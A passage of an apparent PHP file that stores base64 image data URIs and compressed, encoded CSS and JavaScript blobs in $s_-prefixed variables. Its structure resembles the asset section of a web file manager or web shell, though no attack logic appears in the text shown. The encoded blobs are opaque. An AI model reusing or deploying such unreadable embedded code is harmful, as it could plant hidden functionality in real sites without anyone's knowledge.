//AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+f////////////////////n////////////////////8f////////////////////D////////////////////4////////////////////+D//////////8f////////g//////////+P////////8D//////////D/////////A//////////B/////////4H/////////Af////////+A/////////gP/////////wH////////wD/////////8A////////4B//////////gH///////4Af/////////4A///////8AP/////////+AP//////+AD//////////wA//////+AB//////////+AH//////AA///////////wA//////gAP//////////8AH/////wAH///////////gA/////4AD///////////4AH////8AA////////////AA////8AAf///////////4AH////AAH///////////+AB////AAD////////////gAP///AAB////////////8AD///wAA/////////////gAP//gAAf////////////4AB//4AAH/////////////AAP/4AAD/////////////wAB/8AAB//////////////AAP+AAAf/////////////wAA/AAAP/////////////+AAPgAAD//////////////wAAwAAB//////////////8AAAAAAf//////////////gAAAAAf//////////////8AAAAAH///////////////gAAAAB///////////////4AAAAA////////////////AAAAAf///////////////wAAAAH///////////////+AAAAD////////////////gAAAB////////////////+AAAAf////////////////gAAAP////////////////8AAAH/////////////////AAAD/////////////////4AAAf////////////////8AAAD////////////////+AAAAf////////////////AAAAD////////////////wAAAAf///////////////4AAAAD///////////////+AAAAAf///////////////AAAAAB///////////////gAAAAAf//////////////wAAAAAB//////////////4AAAAAAf/////////////+AAIAAAD//////////////gAPgAAAf/////////////wAH8AAAD/////////////4AD/gAAAf////////////+AB/8AAAD/////////////AA//gAAAf////////////wAf/8AAAH////////////4AP//gAAAf///////////8AP//8AAAH////////////AH///wAAAf///////////gH///+AAAD///////////4D////4AAAf//////////8A////+AAAD///////////A/////8AAA///////////gf/////AAAD//////////4f/////8AAAf/////////8P//////4AAD//////////P//////+AAAf/////////n///////4AAD//////////////////gAAP/////////////////+AAA//////////////////wAAH//////////////////AAA//////////////////8AAH//////////////////wAA//////////////////+AAH//////////////////4AAf//////////////////AAD//////////////////8AAf//////////////////wAB///////////////////gAH//////////////////+AA///////////////////8AH///////////////////gAf//////////////////+AD///////////////////8AP///////////////////4B////////////////////8P////////////////////5//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8=";
$s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
$s_sortable_js = "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";
$s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";
$s_image = "data:image/png;base64,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